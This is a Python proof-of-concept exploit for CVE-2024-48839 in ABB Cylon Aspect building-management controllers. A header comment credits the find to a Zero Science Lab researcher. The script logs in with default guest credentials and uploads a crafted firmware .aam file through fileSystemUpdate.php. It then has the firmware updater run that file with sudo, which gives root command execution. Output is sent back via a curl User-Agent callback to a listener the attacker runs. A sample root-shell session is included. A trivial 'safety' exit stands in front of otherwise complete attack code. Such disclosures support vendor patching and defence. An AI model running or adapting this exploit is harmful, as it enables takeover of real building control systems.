#!/usr/bin/env python # # # ABB Cylon Aspect 3.08.02 (fileSystemUpdate.php) Remote Guest2Root Exploit # # # Vendor: ABB Ltd. # Product web page: https://www.global.abb # Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio # Firmware: <=3.08.02 # # Summary: ASPECT is an award-winning scalable building energy management # and control solution designed to allow users seamless access to their # building data through standard building protocols including smart devices. # # Desc: The ABB BMS/BAS controller is vulnerable to code execution and sudo misconfiguration # flaws. An authenticated remote code execution vulnerability in the firmware update # mechanism allows an attacker with valid credentials to escalate privileges and execute # commands as root. The process involves uploading a crafted .aam file through fileSystemUpdate.php, # which is then moved to /tmp and executed by fileSystemUpdateExecute.php. This script # leverages sudo to run the upgrade-bundle.sh script, enabling the attacker to bypass # input validation checks and execute arbitrary code, leading to full system compromise # and unauthorized root access. # # --------------------------------------------------------------------------------- # # $ ./aamroot.py 192.168.73.31 192.168.73.8 --creds guest:guest # [o] Exploit starting at 03.11.2024 02:16:56 # [o] Using credentials: guest:***** # [o] Auth successfull. # [o] PHPSESSID: da4f0620ba3abfbc8fb4f1da1e032fc7 # [o] Listening on 192.168.73.8:5555... # [o] Building name: ["Airport Business Center"] # [o] runtime.ver=v3.08.02 # [+] -> [virtual] rootshell # # # id # uid=0(root) gid=0(root) groups=0(root) # # pwd # /home/MIX_CMIX/htmlroot # exit # [o] Removing callback file. # [!] Connection terminated. # # --------------------------------------------------------------------------------- # # # Tested on: GNU/Linux 3.15.10 (armv7l) # GNU/Linux 3.10.0 (x86_64) # GNU/Linux 2.6.32 (x86_64) # Intel(R) Atom(TM) Processor E3930 @ 1.30GHz # Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz # PHP/7.3.11 # PHP/5.6.30 # PHP/5.4.16 # PHP/4.4.8 # PHP/5.3.3 # AspectFT Automation Application Server # lighttpd/1.4.32 # lighttpd/1.4.18 # Apache/2.2.15 (CentOS) # OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64) # OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2024-5871 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5871.php # CVE ID: CVE-2024-48839 # CVE URL: https://cve.org/CVERecord?id=CVE-2024-48839 # # # 21.04.2024 # # from colorama import init, Fore from urllib.parse import quote from time import sleep import threading import datetime import requests import socket import re import os import sys init() def safe(*trigger, ): return True def auth(target_ip, user, pwd): login_ep = f"http://{target_ip}/validate/login.php" payload = { 'f_user' : user, # 'aamuser, guest' 'f_pass' : pwd, # 'default, guest' 'submit' : 'Login' } sess = requests.Session() r = sess.post(login_ep, data=payload) if r.status_code == 200 and 'PHPSESSID' in sess.cookies: print("[o] Auth successfull.") phpsessid = sess.cookies.get('PHPSESSID') print("[o] PHPSESSID:", phpsessid) return sess.cookies else: print("[!] Auth failed.") return None def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None): agentwho = "Phineas Phreak/19.84" payload = f"curl -A \"`{cmd}`\" {listen_ip}:5555" url = f"http://{target_ip}/fileSystemUpdate.php" headers = { "Content-Type": "multipart/form-data; boundary=----zeroscience", "User-Agent": agentwho } data = ( "------zeroscience\r\n" f"Content-Disposition: form-data; name=\"userfile\"; filename={AAM}\r\n" "Content-Type: application/octet-stream\r\n\r\n" f"{payload}\r\n" '------zeroscience--\r\n' ) try: r = requests.post(url, headers=headers, data=data, cookies=cookies) if r.status_code == 200: url_execute = f"http://{target_ip}/fileSystemUpdateExecute.php?file={AAM}" r = requests.get(url_execute, cookies=cookies) return r.content except requests.exceptions.RequestException as e: print(f"[!] Error sending payload: {e}") return None def koj_slusha(listen_ip): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", 5555)) s.listen(1) print(f"[o] Listening on {listen_ip}:5555...") while True: conn, addr = s.accept() try: data = conn.recv(9999) if not data: print("[!] Connection closed by remote host.") break dd = data.decode("utf-8", errors="ignore") uam = re.search(r"User-Agent:\s*(.*)\s*Host:", dd, re.DOTALL) if uam: print(uam.group(1), end="") else: print #print(f"[o] Full response:\n{dd}") except Exception as e: print(f"[!] Error while receiving data: {e}") finally: conn.close() def main(): if safe(True): print("\nSafety: \033[92mON\033[0m") exit(-17) else: next global AAM global start AAM = "firmware.aam" start = datetime.datetime.now() start = start.strftime("%d.%m.%Y %H:%M:%S") title = "\033[96mABB Cylon® ASPECT® Supervisory Building Control v3.08.02\033[0m" subtl = "\033[95m\t\t-> Remote Root Exploit <-\033[0m" prj = f""" P R O J E C T\033[90m .| | | |'| ._____ ___ | | |. |' .---"| _ .-' '-. | | .--'| || | _| | .-'| _.| | || '-__ | | | || | |' | |. | || | | | | || | ____| '-' ' "" '-' '-.' '` |____ ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ \033[0m {title} {subtl} """ if len(sys.argv) < 4: print(prj) print("./aamroot.py ") sys.exit(-0) target_ip = sys.argv[1] listen_ip = sys.argv[2] auth_arg = sys.argv[3] print("[o] Exploit starting at", start) if "--creds" in sys.argv: creds_index = sys.argv.index("--creds") + 1 if creds_index >= len(sys.argv): print("[!] Error: Missing credentials after --creds.") sys.exit(-1) user_pass = sys.argv[creds_index] if ":" not in user_pass: print("[!] Error: Invalid credentials format. Expected format: user:pass.") sys.exit(-2) user, pwd = user_pass.split(":") print(f"[o] Using credentials: {user}:{'*' * len(pwd)}") cookies = auth(target_ip, user, pwd) else: token = auth_arg cookies = {"PHPSESSID": token} if not cookies: sys.exit(-3) nishka = threading.Thread(target=koj_slusha, args=(listen_ip,)) nishka.daemon = True nishka.start() bacname = f"http://{target_ip}/getApplicationNamesJS.php" r = requests.get(bacname) if r.status_code == 200: try: r = r.content decor = r.decode("utf-8") except UnicodeDecodeError: decor = r.decode("utf-8", errors="ignore") odg = re.search(r"var instanceDirectory=(.*?);", decor) if odg: cmd = "echo -ne \"[o] \" ; cat runtime/release.properties | grep -w 'runtime.ver'" print("[o] Building name:", odg.group(1)) kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies) print("\033[92m[+] -> [virtual] rootshell\033[0m\n") else: print("[o] Unknown building name.") sleep(0.01) while True: sleep(0.01) cmd = input("# ") if cmd.lower() in ["exit", "quit"]: print("[o] Removing callback file.") kacuj(target_ip, listen_ip, "rm /tmp/" + AAM, token=None, cookies=cookies) print("\033[91m[!] Connection terminated.\033[0m") os._exit(-17) kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies) nishka.join() if __name__ == "__main__": main()